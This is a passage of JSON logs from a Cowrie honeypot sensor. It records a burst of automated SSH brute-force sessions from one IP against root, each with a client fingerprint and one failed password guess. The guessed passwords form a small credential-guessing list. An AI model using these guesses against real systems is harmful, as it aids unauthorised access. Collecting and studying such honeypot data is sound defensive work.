98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:36.103489Z","src_ip":"60.165.124.241","session":"4fbe2aef39ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r.","message":"login attempt [root/1q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:36.824075Z","src_ip":"60.165.124.241","session":"4fbe2aef39ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:38.066199Z","src_ip":"60.165.124.241","session":"4fbe2aef39ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea895a53d2c","protocol":"ssh","message":"New connection: 60.165.124.241:33580 (10.17.0.5:22) [session: aea895a53d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:38.295638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:38.304375Z","src_ip":"60.165.124.241","session":"aea895a53d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:38.540315Z","src_ip":"60.165.124.241","session":"aea895a53d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.32382583618164,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:39.218626Z","src_ip":"38.61.227.57","session":"12cf6174c628","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kmi","message":"login attempt [root/kmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:39.284112Z","src_ip":"60.165.124.241","session":"aea895a53d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:40.522011Z","src_ip":"60.165.124.241","session":"aea895a53d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36806,"dst_ip":"10.17.0.5","dst_port":22,"session":"712418d59e0f","protocol":"ssh","message":"New connection: 60.165.124.241:36806 (10.17.0.5:22) [session: 712418d59e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:40.775852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:40.781185Z","src_ip":"60.165.124.241","session":"712418d59e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:41.034372Z","src_ip":"60.165.124.241","session":"712418d59e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456..","message":"login attempt [root/aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:41.808227Z","src_ip":"60.165.124.241","session":"712418d59e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:43.062753Z","src_ip":"60.165.124.241","session":"712418d59e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40254,"dst_ip":"10.17.0.5","dst_port":22,"session":"216a2c669b62","protocol":"ssh","message":"New connection: 60.165.124.241:40254 (10.17.0.5:22) [session: 216a2c669b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:43.306647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:43.311184Z","src_ip":"60.165.124.241","session":"216a2c669b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:43.561987Z","src_ip":"60.165.124.241","session":"216a2c669b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2019","message":"login attempt [root/root2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:44.320762Z","src_ip":"60.165.124.241","session":"216a2c669b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:45.581465Z","src_ip":"60.165.124.241","session":"216a2c669b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43108,"dst_ip":"10.17.0.5","dst_port":22,"session":"f40a60950000","protocol":"ssh","message":"New connection: 60.165.124.241:43108 (10.17.0.5:22) [session: f40a60950000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:45.832498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:45.838447Z","src_ip":"60.165.124.241","session":"f40a60950000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:46.091834Z","src_ip":"60.165.124.241","session":"f40a60950000","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2018","message":"login attempt [root/admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:46.846098Z","src_ip":"60.165.124.241","session":"f40a60950000","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:48.113516Z","src_ip":"60.165.124.241","session":"f40a60950000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbf27157b71","protocol":"ssh","message":"New connection: 60.165.124.241:46208 (10.17.0.5:22) [session: ebbf27157b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:48.366261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:48.371274Z","src_ip":"60.165.124.241","session":"ebbf27157b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:48.618653Z","src_ip":"60.165.124.241","session":"ebbf27157b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01","message":"login attempt [root/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:49.364487Z","src_ip":"60.165.124.241","session":"ebbf27157b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:50.614465Z","src_ip":"60.165.124.241","session":"ebbf27157b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49530,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b55a91dd6e1","protocol":"ssh","message":"New connection: 60.165.124.241:49530 (10.17.0.5:22) [session: 4b55a91dd6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:50.874065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:50.879134Z","src_ip":"60.165.124.241","session":"4b55a91dd6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:51.137281Z","src_ip":"60.165.124.241","session":"4b55a91dd6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kins@2024","message":"login attempt [root/Kins@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:51.919525Z","src_ip":"60.165.124.241","session":"4b55a91dd6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:53.177348Z","src_ip":"60.165.124.241","session":"4b55a91dd6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52876,"dst_ip":"10.17.0.5","dst_port":22,"session":"22bb80c83f34","protocol":"ssh","message":"New connection: 60.165.124.241:52876 (10.17.0.5:22) [session: 22bb80c83f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:53.413092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:53.417507Z","src_ip":"60.165.124.241","session":"22bb80c83f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:53.667700Z","src_ip":"60.165.124.241","session":"22bb80c83f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ruijie@123","message":"login attempt [root/Ruijie@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:54.426868Z","src_ip":"60.165.124.241","session":"22bb80c83f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:55.680264Z","src_ip":"60.165.124.241","session":"22bb80c83f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55772,"dst_ip":"10.17.0.5","dst_port":22,"session":"06cc2987d681","protocol":"ssh","message":"New connection: 60.165.124.241:55772 (10.17.0.5:22) [session: 06cc2987d681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:55.944850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:55.950440Z","src_ip":"60.165.124.241","session":"06cc2987d681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:56.206461Z","src_ip":"60.165.124.241","session":"06cc2987d681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer!@#$1234","message":"login attempt [root/qwer!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:56.993060Z","src_ip":"60.165.124.241","session":"06cc2987d681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:58.258591Z","src_ip":"60.165.124.241","session":"06cc2987d681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58844,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a51fa099ba","protocol":"ssh","message":"New connection: 60.165.124.241:58844 (10.17.0.5:22) [session: 46a51fa099ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:58.477143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:58.481677Z","src_ip":"60.165.124.241","session":"46a51fa099ba","protocol":"ssh"}
